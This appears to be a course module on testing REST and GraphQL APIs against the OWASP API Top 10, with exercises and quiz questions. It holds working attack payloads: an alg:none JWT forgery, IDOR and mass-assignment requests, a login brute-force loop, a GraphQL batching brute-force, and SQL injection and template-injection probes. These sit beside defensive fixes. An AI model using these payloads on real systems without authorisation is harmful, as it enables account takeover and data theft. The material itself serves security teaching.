API Security Testing
Systematically test REST and GraphQL APIs for security vulnerabilities — broken authentication, IDOR, mass assignment, excessive data exposure, injection, and GraphQL-specific attacks.
Learning Objectives
- → Map an API using Burp Suite, Postman, and documentation scraping
- → Test for OWASP API Security Top 10 vulnerabilities
- → Exploit GraphQL introspection, batching, and injection
- → Bypass API authentication: JWT attacks, API key leaks, OAuth misconfigs
- → Implement API security: rate limiting, authentication, authorization, output filtering
API Attack Surface
Modern apps expose:
- REST APIs: /api/v1/users, /api/v2/products
- GraphQL: /graphql (single endpoint, flexible queries)
- gRPC: binary protocol
- WebSocket: ws://api.example.com/ws
Attack surface = everything the API accepts and returns
API Discovery
# 1. Read API documentation (if public)
/api-docs, /swagger.json, /openapi.json, /api/schema
# 2. Burp Suite Target > Site Map after browsing app
# 3. Check JS files for API endpoints:
grep -r "api/" static/js/ --include="*.js"
# or in Burp: Target > Site Map > Filter > JS
# 4. Google dorking:
site:target.com inurl:api
# 5. Swagger/OpenAPI discovery:
feroxbuster -u https://target.com -w api-endpoints.txt
ffuf -u https://target.com/FUZZ -w swagger-paths.txt
# 6. Common paths:
/api, /api/v1, /api/v2, /rest, /v1, /v2
/swagger-ui.html, /swagger.json, /openapi.json
/graphql, /graphiql, /playground
OWASP API Security Top 10
API1: Broken Object Level Authorization (BOLA/IDOR)
API2: Broken Authentication
API3: Broken Object Property Level Authorization (Mass Assignment / Excessive Exposure)
API4: Unrestricted Resource Consumption (Rate limiting)
API5: Broken Function Level Authorization
API6: Unrestricted Access to Sensitive Business Flows
API7: Server Side Request Forgery (SSRF)
API8: Security Misconfiguration
API9: Improper Inventory Management (old API versions)
API10: Unsafe Consumption of APIs
REST API Testing
Authentication Testing
# Test endpoints without token:
curl https://api.target.com/v1/users
# Test with expired token:
curl -H "Authorization: Bearer EXPIRED_TOKEN" https://api.target.com/v1/profile
# Test with weak JWT:
# 1. Decode JWT (base64url)
echo "PAYLOAD_PART" | base64 -d
# 2. Try alg:none:
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9." https://api.target.com/admin
# 3. Check for API key in JS files:
grep -r "api_key\|apiKey\|API_KEY\|Authorization" static/ --include="*.js"
IDOR / BOLA Testing
# Create two accounts, get your resource IDs
# Account A: GET /api/orders/1042 → your order
# Account B: GET /api/orders/1042 → can B read A's order?
# Test: change user parameter
GET /api/profile?user_id=1
GET /api/profile?user_id=2
# Test: change ID in path
GET /api/messages/1234
GET /api/messages/1235
# Test: change object in body
PUT /api/admin/update
{"user_id": 1, "role": "admin"}
Excessive Data Exposure
// API returns:
GET /api/user/profile
{
"id": 42,
"name": "Alice",
"email": "[email protected]",
"password_hash": "$2b$12$...", // should not be returned!
"api_secret": "s3cr3t", // internal field exposed!
"internal_notes": "VIP customer", // PII not needed
"credit_card_last4": "4242" // not requested by client
}
// Fix: explicit response schema — only return needed fields:
class UserProfileResponse(BaseModel):
id: int
name: str
email: str
# password_hash excluded — never returned
Mass Assignment Testing
# Profile update API:
PUT /api/profile
{"name": "Alice"}
# Test: add privileged fields:
PUT /api/profile
{"name": "Alice", "is_admin": true, "role": "admin", "balance": 99999}
# Check if response includes updated privileged field or
# if the next login shows elevated privileges
Rate Limiting Testing
# Test: 100 rapid requests
for i in {1..100}; do
curl -s https://api.target.com/login -d '{"user":"admin","pass":"test"}' &
done
# Or with Burp Intruder/Repeater:
# Null payload, 100 iterations, check for 429 Too Many Requests
# Missing rate limit: authentication brute force possible
# Missing rate limit: API abuse (scraping, spam)
GraphQL API Testing
GraphQL Introspection
# Enumerate all types, queries, mutations:
{
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
args { name type { name } }
}
}
}
}
# Get all queries:
{
__schema {
queryType {
fields { name description }
}
}
}
GraphQL IDOR
# Vulnerable: no ownership check
query {
order(id: 1042) {
id
items
total
user { email }
}
}
# Test: change id to another user's order
query {
order(id: 1041) { # another user's order
id
items
total
user { email } # exposes their email!
}
}
GraphQL Batching Attack
// GraphQL allows multiple operations in one request:
[
{"query": "mutation { login(user:"admin", pass:"admin1") }"},
{"query": "mutation { login(user:"admin", pass:"admin2") }"},
{"query": "mutation { login(user:"admin", pass:"admin3") }"},
...100 more...
]
// One HTTP request = 100 login attempts
// Rate limiter counts 1 request, not 100 operations
// Bypasses per-request rate limiting for brute force!
// Fix: limit operations per request, rate limit per operation
GraphQL Injection
# SQLi in GraphQL argument:
{
user(id: "1 UNION SELECT username,password FROM users--") {
name
}
}
# SSTI in template field:
{
greeting(name: "{{7*7}}") {
message
}
}
GraphQL Introspection Disabled Bypass
# When introspection is disabled:
# Try field suggestions (GraphQL shows similar field names on typo):
{
usr { id } # Server: "Did you mean 'user'?"
}
# Clairvoyance tool — guesses fields from suggestions:
clairvoyance -u https://api.target.com/graphql -o schema.json
API Security Best Practices
# 1. Authentication on every endpoint
@app.route("/api/data")
@require_auth # every endpoint
def get_data():
...
# 2. Rate limiting (django-ratelimit or similar):
@ratelimit(key="ip", rate="100/h") # per IP, 100/hour
def api_view(request):
...
# 3. Output filtering — explicit response schema:
class UserResponse(TypedDict):
id: int
name: str
email: str
# Never: password_hash, api_key, internal fields
# 4. Input validation:
from pydantic import BaseModel, validator
class LoginRequest(BaseModel):
username: str
password: str
@validator('username')
def username_valid(cls, v):
if len(v) > 64 or not v.isalnum():
raise ValueError('Invalid username')
return v
# 5. CORS: exact allowlist
# 6. Log all API calls: timestamp, user, endpoint, response code
# 7. Versioning: deprecate old versions, don't leave API1 when API3 is live
Audit a sample REST API (use OWASP crAPI or similar vulnerable API): (1) discover endpoints via Swagger docs and JS grep, (2) test authentication: remove token, use expired token, try alg:none JWT, (3) test IDOR: change ID in every endpoint, (4) check all responses for excessive data exposure (sensitive fields returned), (5) test rate limiting: 50 rapid login attempts, (6) document all findings with CVSS severity.
What does 'Broken Object Level Authorization' mean in OWASP API Top 10?
What is excessive data exposure in REST APIs?
On a GraphQL endpoint (/graphql): (1) run introspection query to map all types and mutations, (2) find a user query — test IDOR by changing ID, (3) test batching: send 50 login mutations in one request, (4) look for SQLi in argument values, (5) if introspection is disabled, use field suggestions to guess the schema, (6) document each vulnerability with a PoC query.
Why is GraphQL batching a security risk?
Secure a Flask REST API: (1) add JWT authentication middleware on all endpoints, (2) implement per-IP rate limiting (100 req/hour) using Flask-Limiter, (3) fix all IDOR: filter all queries by request.user, (4) create explicit response schemas (TypedDict/Pydantic) that exclude sensitive fields, (5) add input validation with Pydantic models, (6) disable GraphQL introspection in production, (7) add API versioning: /api/v1 → /api/v2.
Why should GraphQL introspection be disabled in production?